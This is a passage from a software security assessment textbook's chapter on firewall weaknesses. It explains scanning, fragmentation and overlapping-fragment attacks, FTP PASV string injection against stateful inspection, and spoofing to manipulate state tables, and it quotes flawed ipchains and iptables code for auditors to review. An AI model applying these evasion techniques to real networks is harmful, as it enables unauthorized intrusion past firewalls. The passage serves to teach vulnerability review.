-y test and the firewall treats the packet as a connection initiation packet. Therefore, any packet with the SYN flag set and the ACK and RST flags cleared is considered a connection packet. Scanning The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 907 There are several techniques for gathering information from a host by sending TCP packets of varying degrees of sanity. One technique of note is FIN scanning, which is a method for port scanning documented by Uriel Maimon in Phrack 49, Article 15. For certain IP stacks, if you send a FIN packet to a closed port, the IP stack sends back an RST packet. If you send a FIN packet to an open port, the IP stack doesn't send anything back. Therefore, you can use FIN packets to scan a machine's ports to determine which ones are open and which are closed. Because FIN and RST packets are more or less required for TCP's normal operation, a stateless firewall often has to let them through. If the firewall doesn't perform any outbound filtering, it can be a little more restrictive, but generally it passes these packets through to allow TCP responses. Therefore, FIN port-scanning commonly works through a stateless packet filter. Attackers can ascertain even more information about hosts behind a network, such as the OS type and version, by sending specially crafted packets. Ambiguity with TCP SYNs Stateless firewalls need to enforce rules on TCP connection initiation. This enforcing is normally done via a handshake involving a TCP packet with the SYN flag set, which is fairly simple to intercept and process. However, certain IP stacks accept different permutations of the SYN flag when setting up TCP connections, and these permutations might lead to exposures in stateless packet filters. Many TCP/IP stacks initiate a connection if a packet with SYN and FIN set is sent instead of a straightforward SYN packet. If a stateless packet filter doesn't interpret this packet as a connection initiation, it could give attackers an easy way to bypass the firewall. They can simply modify their traffic to send SYN-FIN instead of SYN, and the stateless firewall might pass it along unfiltered. Paul Starzetz posted an excellent write-up of this problem to the Bugtraq mailing list (archived at http://archives.neohapsis.com/archives/bugtraq/2002-10/0266.html), which is summarized briefly in the following list:  Linux Accepts any combination of TCP flags when SYN is set and ACK is clear.  Solaris SYN-FIN is accepted as equivalent to SYN.  FreeBSD Accepts combinations of SYN being set and RST and ACK being cleared.  Windows Accepts combinations of SYN being set and RST and ACK being cleared. This vulnerability is rumored to have affected multiple firewalls over the years, including Cisco IOS and even early versions of Firewall-1. With this in mind, take another look at the ipchains code for recognizing connection initiation packets: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 908 /* Connection initilisation can only * be made when the syn bit is set and * neither of the ack or reset is * set. */ if(tcp->syn && !(tcp->ack || tcp->rst)) tcpsyn= You can see that a packet with SYN-FIN set would make it through the firewall. You can also see that, according to Startez's analysis, a SYN-FIN packet counts as a connection initiation packet for Linux hosts, which means someone could get through the ipchains firewall! UDP User Datagram Protocol (UDP) connections are a problem for stateless firewalls. In TCP, a particular packet represents a connection initiation: the SYN packet. In UDP, however, there's no such packet. This issue usually shows up when administrators try to punch the DNS protocol through the firewall. Say you want to make a rule allowing a client computer on an internal network to talk to a DNS server outside the firewall. You would tell the firewall to allow UDP packets from that host, with source ports 1024 to 65535 destined to destination host 1.2.3.4 on destination port 53. This rule works fine, but what happens when the DNS server responds? To allow the response, you need a rule to allow UDP packets from source port 53 to destination ports 1024 to 65535. The problem with allowing those UDP packets is that attackers could talk to any UDP service on a port between 1024 and 65535, as long as they use a source port of 53. There are some interesting UDP daemons on those high ports for most operating systems, with RPC functionality usually being the easiest target. This risk can be mitigated by host configuration and network design, but it's a fundamental limitation in stateless packet filtering technology. Figure 15-3 summarizes a sample attack of this nature. Figure 15-3. UDP source port 53 attack for stateless firewalls [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 909 Understanding FTP File Transfer Protocol (FTP) is a ubiquitous Internet protocol for transferring files between machines. It's an old protocol with some strange characteristics that make it particularly troublesome to firewalls. These idiosyncrasies have led to several security exposures, but before you dig into them, take a brief look at how FTP works. FTP is a fairly straightforward line-based protocol that works over TCP. An FTP client makes a connection to port 21 of the FTP server, and this connection is known as the control connection. The user issues commands over this TCP connection, which include tasks such as logging in, listing files, and downloading and uploading files. Things get a little tricky when data is transferred over FTP, however. The actual files and directory listings aren't sent over the control connection. Instead, they are sent over a separate, new TCP connection known as the data connection. There are two main mechanisms for establishing this data connection: active FTP and passive FTP. In active FTP, the client tells the server where to connect to transfer the data by using the PORT command. To see how it works, walk through a simple FTP transaction. Assume the client's IP address is 1.2.3.4. The code has been formatted for readability, with client traffic bolded to differentiate it from the server's data. Also, assume that each line ends in a carriage return/line feed (CLRF). 220 Welcome to the FTP server! USER ftp 331 Guest login ok, send ident as password. PASS [email protected] 230 Guest login ok, access restrictions apply. Up to this point, all communication has been over the control connection. Now the client wants to retrieve a file via active FTP. The first step is to specify where the server should connect: PORT 1,2,3,4,128,10 200 PORT command successful. Consider using PASV. This response tells the server that for the next data connection, it should connect to the client IP 1.2.3.4 on port 32778 (32778 is 128 * 256 + 10). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 910 Now the client initiates the transfer: RETR file.txt 150 Opening BINARY mode data connection for file.txt (42 bytes). The server then makes a TCP connection to the address and port it was given in the PORT command. This TCP connection has a special source port of 20. It sends the file's contents over this connection and then closes it. After the file transfer is completed, the server sends a transfer complete message over the control channel: 226 Transfer complete. You can see that active FTP requires the server to be able to connect back to the client, which can be a problem in networks that use firewalls or network address translation (NAT). The passive model is a little easier to firewall, which is why it's usually enabled. Now take a look at how the user would transfer a file using passive FTP. Instead of sending a PORT command, the client issues a PASV command. The server then tells the client where to connect for the data connection: PASV 227 Entering Passive Mode (50,100,200,80,220,120) The server is telling the client where to connect to perform the next data transfer. The server's IP address is 50.100.200.80, and the port that accepts the data connection is 56440 (220 * 256 + 120). The client then makes the TCP connection before sending this command on the control channel: RETR file.txt 150 Opening ASCII mode data connection for directory listing. The server sends the file over the data connection, and then sends the following message over the control channel when it's finished: 226 Transfer complete. And there you have the nuts and bolts of FTP! The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 911 FTP As you learned in the sidebar, "Understanding FTP," FTP presents a problem for most firewalls. This section focuses on an aspect of FTP that leads to a problem in stateless firewalls. Say you want to let your users use FTP to connect to machines on the Internet. You can do this easily with a stateless firewall by allowing outbound port 21 TCP connections. However, if users are using active FTP, they can initiate data transfers by telling the FTP server to connect to a port on their computer (via the PORT command). Then you see a TCP connection coming from source port 20 to your client host on a high port. A stateless firewall generally isn't going to allow arbitrary connections from the outside to the inside, which breaks active FTP (not passive FTP). It's possible to work around this problem by allowing connections with source port 20. However, allowing these connections causes a major security flaw because TCP connections with a source port of 20 are allowed through the firewall. Figure 15-4 demonstrates how this issue can be exploited to attack an XServer running on destination port 6000. Figure 15-4. TCP source port 20 attack for stateless firewalls [View full size image] Fragmentation A stateless firewall can't keep track of fragments, so it has to deny them categorically or apply a simple set of rules to process them as they come in. Typically, these firewalls approach this by allowing any fragment that doesn't have upper-layer header information to go through. IP fragmentation was covered in Chapter 14(? [????.]), "Network Protocols," but you should look out for the following points:  Fragments with low IP offsets (1 or 2) should be dropped, as they contain pieces of information, such as TCP flags, that the firewall needs to examine.  Fragments with 0-offset should contain enough information to have a full protocol header; otherwise, they should be dropped. Again, the firewall needs to see the full header at once to make a decision, and a short packet can't be evaluated safely.  Fragments with high offsets can generally be permitted to pass. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 912 A few classic attacks against packet-filtering firewalls, described in the following sections, are based on overlapped fragments. New implementations of packet filters are often vulnerable to these classic attacks, so inspect them carefully. Are Fragmented Packets Handled? The most straightforward attack is to simply fragment a packet so that the upper-layer (TCP or UDP) protocol header is split across multiple packets. Granted, only a firewall from the 1980s would be fooled by this method, but it sets the stage for more topical attacks. Figure 15-5 shows what the malicious packets would look like. A vulnerable firewall would allow both fragments through but be unable to check them because both are incomplete. Figure 15-5. Straightforward fragment attack [View full size image] How Are Offset 1 Fragments Handled? This classic fragmentation attack involves rewriting TCP flags against a stateless packet filter. Figure 15-6 shows how this attack would unfold. It works by first sending a fragment that the firewall accepts, such as a lone FIN or RST TCP packet, to an otherwise filtered port. The second fragment has an offset of 1 and is passed by the firewall. Depending on the host's reassembly algorithm, the target machine actually honors the new data from the second fragment and changes the flags in the TCP header from FIN to SYN. In this way, the attacker has initiated a connection to an otherwise filtered port. Figure 15-6. TCP flags rewrite fragment attack [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 913 How Are Multiple 0-Offset Fragments Handled? Thomas Lopatic and John McDonald (one of this book's authors) came up with a similar fragmentation attack that worked against ipchains and Cisco IOS 11 routers, to a limited extent (archived at http://archives.neohapsis.com/archives/bugtraq/1999-q3/0236.html). This technique involves sending multiple 0-offset fragments. Essentially, an IP fragment with a 0-offset is sent to a firewall; the fragment contains a TCP or UDP header that matches an allow rule in the firewall's rule set. This fragment is followed by another 0-offset fragment that's much smaller, and it rewrites a few bytes of the TCP or UDP port fields. When these fragments are reassembled on the other side, a port that shouldn't be accessible can be reached. Figure 15-7 shows how this attack works. This advisory eventually spawned the creation of RFC 3128, describing the attack. Figure 15-7. TCP ports rewrite fragment attack [View full size image] The following is an excerpt of code from an old version of the ipchains stateless firewall. Review it with the points about fragments in mind: offset = ntohs(ip->frag_off) & IP_OFFSET; /* * Don't allow a fragment of TCP 8 bytes in. Nobody * normal causes this. Its a cracker trying to break * in by doing a flag overwrite to pass the direction * checks. */ if (offset == 1 && ip->protocol == IPPROTO_TCP) { if (!testing && net_ratelimit()) { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 914 printk("Suspect TCP fragment.\n"); dump_packet(ip,rif,NULL,NULL,0,0); } return FW_BLOCK; } First, you can see that the firewall blocks IP fragments with an offset of 1 for TCP data. This is a good thing, and it prevents the TCP flags rewriting attack. Now look at the following block of code. You can see that if the firewall is looking at the first fragment (an IP offset of 0), it tries to determine how much data it needs to see to make a decision about the packet. For TCP, it wants to see at least 16 bytes of TCP data. /* If we can't investigate ports, treat as fragment. * It's a trucated whole packet, or a truncated first * fragment, or a TCP first fragment of length 8-15, * in which case the above rule stops reassembly. */ if (offset == 0) { unsigned int size_req; switch (ip->protocol) { case IPPROTO_TCP: /* Don't care about things past flags word */ size_req = 16; break; case IPPROTO_UDP: case IPPROTO_ICMP: size_req = 8; break; default: size_req = 0; } offset = (ntohs(ip->tot_len) < (ip->ihl<<2)+size_req); } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 915 If offset is 0, indicating it's a header fragment, the firewall proceeds to do a minimum size check on the packet. If there's enough data for a complete protocol header, offset is set to 0. If there isn't enough data, offset is set to 1. This means if you send a fragment with a 0-offset and a super-short length, it's treated as a non-first fragment and passed through the firewall! 8.2.4 Simple Stateful Firewalls Stateful firewalls maintain data structures in memory that are used to track connections. This data structure is usually known as the state table. Multiple state tables could be used to track different types of connections, or all state data might be stored in a single table. When a stateful firewall receives a packet, it first checks the state table to see whether that packet belongs to an existing connection. If it does, the packet is accepted and passed along to its destination. Otherwise, the packet is compared against the rule base. If the rule base specifies that the packet is allowed, the packet might end up creating a new entry in the state table. TCP Stateful firewalls can tackle TCP connections with more precision than their stateless brethren. For example, if a stateful firewall has a basic rule similar to "Allow TCP connections to port 80 on the Web server," it allows only one type of TCP packet through to the Web server: a SYN packet. After the firewall receives this SYN packet, an entry is made in the state table. Then the appropriate SYN-ACK packet is allowed in the other direction, and subsequent valid ACK, PUSH, FIN, and RST packets are allowed through. Everything else is dropped. This method solves the issue of unnecessary packets getting through the firewall, which was the property of stateless firewalls that allowed FIN scanning to work. Stateful firewalls still need to be careful about odd connection initiation packets, however, such as SYN-FIN and SYN-RST. Some firewalls create state entries without seeing a connection initiation; if they see a data packet matching the rule set, they treat the packet as if it belongs to a connection that was started before the firewall was last booted, and they permit it. It's important to make sure SYN packets can't be matched with an existing connection in this fashion, however. This behavior can also expose the firewall to spoofing attacks with TCP, as an attacker doesn't have to get past a three-way handshake to get data parsed by the firewall. Attackers can attempt to disable firewalls by attacking the state table via brute force. If they can cause state table entries to be added from outside the network, they can often fill up the state table and cause failures to occur. Lance Spitzer discovered a way to do this to Checkpoint FW-1 and published an interesting analysis of the problem, available at www.spitzer.net/fwtable.html. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 916 UDP UDP connections are a little easier to handle, as entries can be placed in the state table to specifically allow responses. One common shortcut firewalls take, however, is to allow responses from any UDP source port. So if a firewall sees a UDP packet go from host 1.2.3.4 on source port 53 to host 2.3.4.5 on destination port 53, and the rule base allows that packet, an entry is added in the state table. This entry, however, might allow a UDP packet with any source port from 2.3.4.5 to 1.2.3.4 and destination port 53. Problems with allowing this UDP packet are discussed in "Spoofing Attacks(? [????.])" later in this chapter. Directionality It's important to review a stateful firewall's notion of directionality. A firewall that doesn't correctly check the "direction" of a TCP connection can lead to security issues. For example, say an attacker makes a connection from source port 21 to a Web server on port 80. If the firewall can be tricked into interpreting the Web server's response as data in an FTP control connection, it's probable that bad things can be done to that firewall. One interesting nuance of TCP is the simultaneous connection, in which two SYN packets are sent in an interleaved fashion. Fragmentation Stateful firewalls can track fragmentation more tightly than stateless firewalls can. One approach some firewalls take is to set up a fragment state entry for a fragment after they see a protocol header for that datagram. Subsequent fragments match the state table and are permitted to pass through the firewall. Another approach is virtual reassembly, which CheckPoint uses. With this approach, the firewall stores every fragment, and after all fragments have arrived and are verified to be safe, the collection of fragments is forwarded on to the end host. Thomas Lopatic found a subtle vulnerability in the state-handling code for IP Filter's fragmentation state table. When IP Filter identified a fragmented TCP header, it analyzed the header, and then cached a decision in a fragment state table. Any subsequent fragments matching that cached decision were passed through the firewall. Lopatic observed that after a decision was cached, an attacker could resend a fragmented TCP header, with different port information, and it would pass through the firewall! This way, an attacker could talk to TCP services that IP Filter should have blocked. To top it off, Lopatic discovered that this attack could be performed even if fragments were explicitly blocked in the rule set. If an attacker first sent a normal TCP packet that matched the rule base, an entry in the normal state table was created. Subsequent fragmented packets would match that entry in the state table, and the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 917 rule base would never even be consulted. His advisory is available at http://cert.uni-stuttgart.de/archive/bugtraq/2001/04/msg00121.html. Fooling Virtual Reassembly There's a technique that's useful when brainstorming attacks against stateful firewall fragmentation reassembly. This technique was originally devised by Thomas Lopatic, John McDonald, and Dug Song, and Lopatic was the first to apply it against Firewall-1. Mark Dowd was later able to apply it in another attack against a stateful firewall. Say you've found a nuance in an end host IP stack that you want to be able to trigger, but you need to send overlapping fragments through a modern firewall. It's likely this firewall doesn't allow overlapping fragments as part of its security policy, so you need to use a few tricks. What you do is send two (or more) sets of fragments containing similar characteristics and have both been accepted by the firewall or IDS. However, you construct them so that the end host discards some packets from each set, and multiple fragment chains merge to become one. This method can be used to stage an attack using an end-target BSD IP stack by leveraging the type of service (TOS) field; you can send two chains of fragments that both look legal enough, but you can change the value of the TOS byte in packets you want grouped together. Figure 15-8 shows an example of this exploitation scenario. Figure 15-8. Fragmentation attack targeted at BSD IP stack by using the TOS byte The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 918 In this example, you can conveniently choose for the end host to eliminate packets B, D, and F, creating a single datagram composed of packets A, E, and C. When attempting to bypass a device performing virtual reassembly, attacks such as this one can also be performed if the device fails to validate other elements of the IP header properly. If the device fails to do so, basic header validation of IP packets from the end host might allow discarding selected fragments to perform attacks similar to those in the previous example. The following sections describe a few things that a device performing virtual defragmentation might neglect to check thoroughly. IP TTL Field The time-to-live (TTL) field is used to determine a packet's lifetime on the internet by specifying the maximum number of hops the packet should traverse before being discarded. Say you send two sets of fragment queues, as in the previous example, but the fragments you want to eliminate have the TTL value of 1 or 0 when they reach the firewall. (You need to determine how many hops away the firewall is, but this The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 919 information could be brute-forced or discovered in another way.) If the device performing virtual reassembly doesn't notice that some packets are about to expire, it might be possible to mount an attack in which some fragments are due to expire before (or as) they reach the destination and, therefore, are never received by the end host. IP Options You might be able to specify certain illegal options that cause the end host to discard certain fragments. Options with illegal lengths and the like probably can't be routed to the end host, but you might be able to take advantage of specific IP options that aren't processed by intermediate routing hopsmaybe timestamps with invalid pointers or something similar. Additionally, record route and timestamp options might be susceptible to overflow, and if you work it out so that the option overflows just as it reaches the destination host, you might be able to have the fragments discarded. Thomas Lopatic described using this method to exploit a hole in CheckPoint Firewall-1's virtual reassembly layer, which is described in detail at http://seclists.org/lists/bugtraq/2000/Dec/0306.html. Zero-Length Fragments A zero-length fragment is a packet that doesn't contain any datait's just an IP header. How can this fragment be useful in launching attacks? Suppose a firewall is performing virtual reassembly and allows only complete fragment queues through. If the firewall honors it, you can send a zero-length final fragment with the MF bit cleared to complete a set of fragments. Most OS stacks silently discard zero-length fragments without processing them, so the end host still has an incomplete queue. Then you can send another set of fragments with the same IP ID to add more data onto (or overwrite) the incomplete queue at the end host. 8.2.5 Stateful Inspection Firewalls Stateful inspection is a term CheckPoint coined to describe Firewall-1, but it has been assimilated into the general language as a way of describing a certain class of firewalls. It's the process of looking inside actual protocol data to enhance the firewall's functionality. It refers to peeking into layer 4, such as TCP and UDP data, and pulling out or modifying key snippets of application-layer data. Why is stateful inspection necessary? Certain protocols are somewhat unwieldy to a firewall, particularly those that transmit information such as IP addresses and ports. For example, say you're talking to an FTP server in a corporation's demilitarized zone (DMZ). The exchange might look like this: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 920 220 FTP server ready. USER ftp 331 Guest login ok, send your e-mail address as password. PASS [email protected] 230 Welcome to jim's FTP server PASV 227 Entering Passive Mode (10,0,0,1,90,210) RETR test.txt You've logged in to the FTP server and told it you want to make a passive mode connection. The server responded and told you to connect to it on IP address 10.0.0.1 and port 23250 (remember, 90 * 256 + 210). The firewall needs to solve two problems now. First, the IP address the FTP server gave you is an internal IP address and can't be reached from the Internet. Normally the firewall uses NAT so that the FTP server can be reached through an external IP, but the actual data inside the packet needs to be translated with NAT as well. Figure 15-9 shows what goes wrong with the FTP session. The client machine, on the left, initiates an FTP connection, which the firewall permits. The FTP server tells the client to connect to it at 10.0.0.1 and port 23250. When the client does this, it ends up trying to connect to a machine that can't be reached or the wrong machine in its internal network. Figure 15-9. Active FTP failure caused by NAT [View full size image] So the firewall needs to look inside the FTP control channel and use NAT on IP addresses when appropriate. However, more processing still needs to occur for FTP to work correctly. In Figure 15-10, the connection proceeds much the same as before. Figure 15-10. Active FTP failure caused by filtered data port [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 921 However, the firewall sees the directive to connect to the 10.0.0.1 address and rewrites it in place with the 5.6.7.8 address. The client computer knows to connect to the correct IP address. However, when the computer attempts this connection, you encounter the next obstacle. The firewall most likely doesn't allow the connection to the high TCP port, as it's a considerable security risk to allow these connections. To handle this correctly, the firewall must watch within the FTP session for the PASV response and temporarily open a hole in the firewall for the connection from the client. Layering Issues It's important to note that stateful inspection involves packet-oriented firewalls looking inside UDP and TCP packets for application-layer data. These firewalls aren't doing full TCP/UDP processing, so there's plenty of room for mistakes because they "peek" at a layer they don't quite understand. FTP is a great case study for this kind of problem. Look at a class of problems related to stateful inspection of FTP. They were discovered by Thomas Lopatic and John McDonald and independently by Mikael Olsson of EnterNet Sweden AB. What would a typical stateful inspection firewall do to detect a PASV command? It looks in each TCP segment traversing the firewall for a packet containing this string: 227 Entering Passive Mode (x,x,x,x,y,y) After the firewall sees that string, it pulls out the IP address and port, translates it with NAT, rewrites it if necessary, checks it, and then opens a temporary hole. So you can see what this process looks like, review the following code from an old version of iptables: iph = skb->nh.iph; th = (struct tcphdr *)&(((char *)iph)[iph->ihl*4]); data = (char *)&th[1]; data_limit = skb->h.raw + skb->len; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 922 while (data < data_limit && *data != ' ') ++data; while (data < data_limit && *data == ' ') ++data; data += 22; if (data >= data_limit || *data != '(') return 0; p1 = simple_strtoul(data+1, &data, 10); if (data >= data_limit || *data != ',') return 0; p2 = simple_strtoul(data+1, &data, 10); if (data >= data_limit || *data != ',') return 0; p3 = simple_strtoul(data+1, &data, 10); if (data >= data_limit || *data != ',') return 0; p4 = simple_strtoul(data+1, &data, 10); if (data >= data_limit || *data != ',') return 0; p5 = simple_strtoul(data+1, &data, 10); if (data >= data_limit || *data != ',') return 0; p6 = simple_strtoul(data+1, &data, 10); if (data >= data_limit || *data != ')') return 0; to = (p1<<24) | (p2<<16) | (p3<<8) | p4; port = (p5<<8) | p6; /* * Now update or create a masquerade entry for it */ IP_MASQ_DEBUG(1-debug, "PASV response %lX:%X %X:%X detected\n", ntohl(ms->saddr), 0, to, port); You can see that iptables uses a straightforward method of peeking into a TCP packet to look for the response string. Note that if the response is split across multiple segments or parts of the string are dropped or retransmitted, this method wouldn't work at all. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 923 It's worse than unreliable, however; it can actually be exploited. Consider what the firewall would think of the following FTP session: 220 FTP server ready. USER 227 Entering Passive Mode (10,0,0,1,90,210) 331 Password require for 227 Entering Passive Mode (10,0,0,1,90,210). If the 227 string is in the right place in a TCP packet, the firewall could easily be fooled into opening ports for an attacker. There are a few ways to pull off this attack. The most straightforward way is to change the maximum segment size of the TCP connection to an unusually small value. This can be done easily by setting the maximum transmission unit (MTU) on the interface to the small value. If the attacker does things right, he can create the following flow of TCP traffic (each line represents a different TCP packet): Server packet 1: 220 FTP server ready.\r\n Client packet 1: USER AAAAAAAAAAAAAAAAA227 Entering Passive Client packet 2: Mode (10,0,0,1,90,210)\r\n Server packet 3: 331 Password required for AAAAAAAAAAAAAAAAA Server packet 4: 227 Entering Passive Mode (10,0,0,1,90,210).\r\n You can see in this data flow that the TCP segment is split so that it looks like the 227 response is a legitimate response from the server, instead of being part of the error message. When the firewall sees this line in its own packet, it assumes the server needs to open an incoming port for a data connection. Some firewalls sought to remedy this problem by ensuring that each packet ended in a CRLF. The attack shown in the preceding code doesn't work because the 331 response packet doesn't contain the requisite CRLF. One way around this is to create a file with a filename of 227 ... remotely in a writeable directory. Then you can enter STAT -1 in the control connection and get a directory listing, which could conceivably have CRLFs in the right place. However, there's a more universal technique if you can write some low-level networking code. This technique a little more involved, but it can be implemented using libdnet and libpcap in a few hours. Basically, you need to acknowledge only part of the FTP server's response so that its TCP stack times out and retransmits the 227 string in its own packet. This way, both packets end in a CRLF. The flow of data would look like this: 220 FTP server ready.\r\n USER 227 Entering Passive Mode (10,0,0,1,90,210)\r\n 331 Password require for 227 Entering Passive Mode (10,0,0,1,90,210).\r\n The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 924 The client would acknowledge the TCP data right up to the 227 string in the server's response. Then the client has to wait a little while for the server to time out and retransmit the unacknowledged data. The server retransmits the data in a packet that should trick the firewall into opening up a port: 227 Entering Passive Mode (10,0,0,1,90,210).\r\n 8.2.6 Spoofing Attacks Spoofing attacks can be a powerful technique for circumventing firewalls, and they haven't been adequately covered in security literature. Spoofing refers to the process of making a packet appear to come from a machine other than its actual source. Typically, attackers create packets from scratch, specifying the source and destination of their choosing, and place the packets out on the network to be routed. You have already seen a variety of TCP spoofing attacks in Chapter 14(? [????.]). These attacks seek to tamper with an existing connection or fabricate a new connection to take advantage of trust relationships. Manipulating firewalls is in many ways simpler than manipulating TCP connections. The mere presence of certain packets on the network is often enough to get firewalls to update their internal state tables. Furthermore, firewalls that do stateful inspection often analyze data in packets even if those packets aren't completely valid with respect to sequence numbers and windows. The following sections describe some specific packets that can be useful in spoofing attacks. If you're reviewing firewall code, you need to be aware of how it implements spoofing protection. Often, aspects of this protection are under the user's operational control, but it's important to make sure the protection is solid when it's used in the default or recommended fashion. Even small oversights can lead to security vulnerabilities, and because there hasn't been much published analysis of spoofing attacks, most administrators don't appreciate the importance of configuring spoofing protection correctly. Spoofing from a Distance Spoofing attacks are at their most powerful when the attacker can do malicious things to both the source and destination IP addresses. Modifying source addresses is often possible, as strict egress filtering on the Internet is inconsistent at best. Destination addresses, on the other hand, are used to route packets to their eventual destinations. Generally, if you want the packet to get to your victim, you can't muck with the destination IP. The "Spoofing Destinations to Create State" section later in this chapter covers a few ways to work around this restriction to get some malicious The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 925 destination addresses into play. For now, however, assume the attacker has to give a valid destination IP address. Spoofing from an External Trusted Source Firewalls make spoofing-related decisions based on which interface the packet comes from. If a spoofed packet and a genuine packet come in over the same network interface, the firewall can't tell them apart. Usually, this is a problem when the firewall is set up to trust specific hosts on the Internet. Because all packets from the Internet come in over the same interface, the firewall can't tell where they came from originally. If an attacker spoofs a packet with the source IP of the trusted host, the firewall assumes it came from that host. The attacker doesn't see the response to the packet because it's routed to the trusted host, but this may or may not matter. Figure 15-11 shows a vulnerable situation. The firewall has a rule set that allows the trusted server at the colocation environment to talk to the file server. An attacker could send packets that get delivered through the firewall to the file server by spoofing them from the trusted server. Figure 15-11. Spoofing from an external trusted source [View full size image] Spoofing from an Internal Trusted Source If spoofing protection is broken, an attacker might be able to spoof packets from a protected network. For example, in Figure 15-12, the file server is not accessible from the Internet, but the DNS server on the DMZ can talk to it. An attacker could try spoofing a packet from the DNS server to the file server. This packet comes in over the Internet interface instead of the DMZ interface, which should cause the firewall to discard it. Figure 15-12. Spoofing from an internal trusted source [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 926 However, if the firewall believes the packet came from the DNS server, the attacker can take advantage of any rules that trust the DNS server or its network. With this kind of attack, the attacker wouldn't see the responses or be able to set up TCP connections, so the ideal packets to send are UDP packets that perform some nefarious action, perhaps involving a DNS server, a Simple Network Management Protocol (SNMP) server, or the Remote Procedure Call (RPC) service. Spoofing for a Response You can use spoofing to try to get hosts to respond to addresses you couldn't reach otherwise. This technique is similar to the previous one; however, the goal is to have the response to the spoofed packet perform a nefarious action. This technique can be particularly interesting if a special source IP address is used. For example, say an attacker spoofs a UDP request from the IP address 255.255.255.255 to an accessible service in a DMZ. If the UDP service responds, that response is broadcast to every host in the DMZ network. IP addresses 224.0.0.1 and 127.0.0.1 can be used to get a response to go to the local machine, as shown in Figure 15-13. Figure 15-13. Spoofing to elicit a response [View full size image] Spoofing for a State Entry You can also use spoofing to try to get special entries added to the firewall state table for later abuse, as shown in Figure 15-14. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 927 Figure 15-14. Spoofing for state table manipulation [View full size image] Say the firewall's stateful inspection is loose, and it uses a lone ACK TCP segment to create a state table entry for an ongoing TCP connection. This can be done to allow for nondisruptive firewall reboots. What if an attacker spoofs a single TCP packet from the DNS server to the file server on the intranet, and the packet contains this string: PORT 1,1,1,1,10,10\r\n A stateful firewall with improper spoofing protection would see this packet as the DNS server performing an FTP session to the file server. If the rule set allows this communication, the firewall would parse the packet's data and determine that an FTP data connection is about to happen. The firewall would open a temporary hole for the file server to connect back to the DNS server. The attacker could then spoof a different packet going to a port that the firewall's rule set normally blocks. Spoofing Up Close Spoofing attacks become far more potent when an attacker is sitting on the same network as one of the firewall interfaces. For example, what if you hacked the DNS server in the DMZ in Figure 15-15? From this vantage point, you can perform a number of attacks that allow you to extend this compromise. Figure 15-15. Spoofing within the same segment [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 928 First and foremost, you can now attack other hosts in the DMZ directly, without going through a firewall. This attack is obviously useful, and it doesn't require any spoofing. Spoofing from a Network Peer to Exploit the Rule Base You've seen how firewalls make spoofing-related decisions based on which interface the packet comes from. Because you're now on the same network segment as other protected machines, you can spoof packets from any of them with impunity. The firewall sees packets coming in from the correct interface and believes they are genuine. The first way you can use this technique is to try to take advantage of any rules trusting any hosts in the DMZ. Because you can effectively impersonate those hosts by using networking tricks of the trade, you should be able to access any resources the hosts can. For example, say a Web server in the DMZ talks to a database server in the internal network. If you can't compromise the Web server, you can still use the DNS server to spoof packets from the Web server that reach the database server. You can use various tricks to intercept the responses coming back as well. Spoofing from a Network Peer to Create State The other advantage you gain from being able to spoof packets from hosts on the network is the ability to manipulate the firewall's state table. You can create state table entries that open external network access to other hosts on the network segment. This method doesn't give you access to anything you don't already have from the DNS server, but it could be useful in a real-world attack for running an exploit from a particular host or opening a command shell through a firewall. For example, if you want to let a machine on the Internet talk to a Web server on the DMZ, you could create a fake DNS or FTP connection for the firewall's benefit. The connection would appear to originate from the Web server, and the destination would be your attack machine on the Internet. If the firewall's rule base allows the spoofed The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 929 connection, the firewall creates state table entries you can use. Typically, your attack machine can "respond" to the spoofed traffic in some way as the firewall, and your response is actually legitimate network traffic. Spoofing Destinations to Create State You can send packets directly to the firewall interface via the local network's data link layer, and these packets can contain any destination IP address you want. If the firewall is your default router, most of the packets you send will go through the firewall anyway. If not, you can make it happen with a little creative use of the routing table. Routing through the firewall allows for a class of attacks that share a similar form. The goal is to spoof packets that match the rule base and cause entries to be added to the firewall's state tables. The actual attack comes later, and it uses those state table entries to make it through the firewall. One effective way to accomplish this attack is to spoof packets from the target machine to you. If they get past the spoofing filter and the rule set, the state table entries that are created are likely to be useful. For example, what if you control the DNS server and want to talk to UDP port 5678 on the file server, but the firewall is blocking you? To circumvent the block, you need to get a state table entry in the firewall that allows you to reach that port. What you do is spoof a packet from source port 5678 on the file server to destination port 53 on the DNS server. The firewall has an opportunity to reject this packet if spoofing protection is functioning. Assuming your packet gets past the spoofing check, the rule base simply sees a DNS request from the file server to the DNS server, which is allowed. The firewall creates a state table entry indicating a UDP "connection" from file server:5678 to DNS server:53. Usually, this entry means the firewall expects and will allow a response, which should come from the DNS server on source port 53 and go to the file server on destination port 5678. This state table entry enables you to attack the file server directly from the DNS server. You send the UDP attack packet from source port 53 to the vulnerable service on the file server at port 5678. Obviously, port 5678 isn't likely to be exploitable in the real world, but you have a basic mechanism for opening any UDP port. In practice, it's usually even easier, as UDP state tracking, at least in Firewall-1, is forgiving about a response packet's destination port. For TCP, you can spoof TCP segments purporting to be part of an FTP connection; these segments contain PORT and PASV strings. The firewall parses these strings and opens temporary holes for TCP connections. This method is a more limited form of the attack because of restrictions on data connection ports and directionality, but attackers can usually work around these restrictions. The Art of Software Security Assessment - Identifying and Preventing Software 